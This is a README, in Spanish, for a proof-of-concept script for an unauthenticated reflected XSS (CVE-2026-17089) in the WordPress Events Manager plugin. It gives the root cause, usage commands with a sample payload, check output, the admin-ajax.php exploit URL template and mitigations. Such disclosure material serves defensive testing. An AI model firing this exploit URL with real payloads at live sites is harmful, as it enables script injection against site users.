PoC en shell para CVE-2026-17089, un XSS reflejado no autenticado en el plugin Events Manager de WordPress (<= 7.4.0.1); identifica el plugin y prueba la reflexión de header_format.
<= 7.4.0.1 — XSS reflejado no autenticado (header_format)Autor: pwnVader · Licencia: MIT (raíz del repositorio)
| Componente | Events Manager – Calendar, Bookings, Tickets, and more! (plugin de WordPress) |
| Tipo | CWE-79 — Cross-Site Scripting reflejado |
| Afectado | <= 7.4.0.1 |
| Corregido | versión posterior de 7.4.x (wp_kses_post() aplicado en EM_Events::output_grouped()) |
| CVE | CVE-2026-17089 — CVSS 3.1 6.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| PoC | poc.sh |
El punto de entrada del shortcode sanitiza header_format con wp_kses(), pero la acción AJAX
no autenticada search_events_grouped omite esa sanitización y refleja el valor en la
respuesta HTML (EM_Events::output_grouped()). Un atacante remoto no autenticado puede crear una URL
que ejecute JavaScript arbitrario en el origen del sitio afectado para cualquier usuario que la abra
(UI:R).
# Interactive menu
./poc.sh
# Read-only: fingerprint the plugin and test the unescaped reflection
./poc.sh check --target https://example.com
# Print the exploit URL (open it in a browser; the script runs in the target origin)
./poc.sh url --target https://example.com --payload "alert(document.domain)"
check)== CVE-2026-17089 PoC (check) ==
target: https://example.com
[1] Plugin fingerprint (read-only)
[PASS] Events Manager assets are served (plugin installed)
[info] Stable tag: 7.1.7
[PASS] version 7.1.7 is in the affected range (<= 7.4.0.1)
[2] Unauthenticated reflection test (read-only, benign marker)
[PASS] endpoint reflected header_format UNESCAPED (the raw is in the response)
== RESULT: 3 PASS / 0 FAIL ==
VULNERABLE to CVE-2026-17089 (unauthenticated reflected XSS).
https://example.com/wp-admin/admin-ajax.php?action=search_events_grouped&scope=all&limit=5&header_format=<urlencoded payload>
readme.txt (Stable tag) y/o la ruta del recurso del plugin
/wp-content/plugins/events-manager/includes/js/events-manager.js.admin-ajax.php?action=search_events_grouped con header_format establecido al marcador y comprobar
si el marcado sin procesar se refleja sin escapar en el cuerpo de la respuesta.wp_kses_post() a
header_format dentro de la función de renderizado, cubriendo a todos los invocadores).search_events_grouped o filtrar
header_format a nivel de WAF/aplicación.Solo para pruebas de seguridad autorizadas. El PoC es de solo lectura (check) o imprime una URL (url); no
se modifican datos.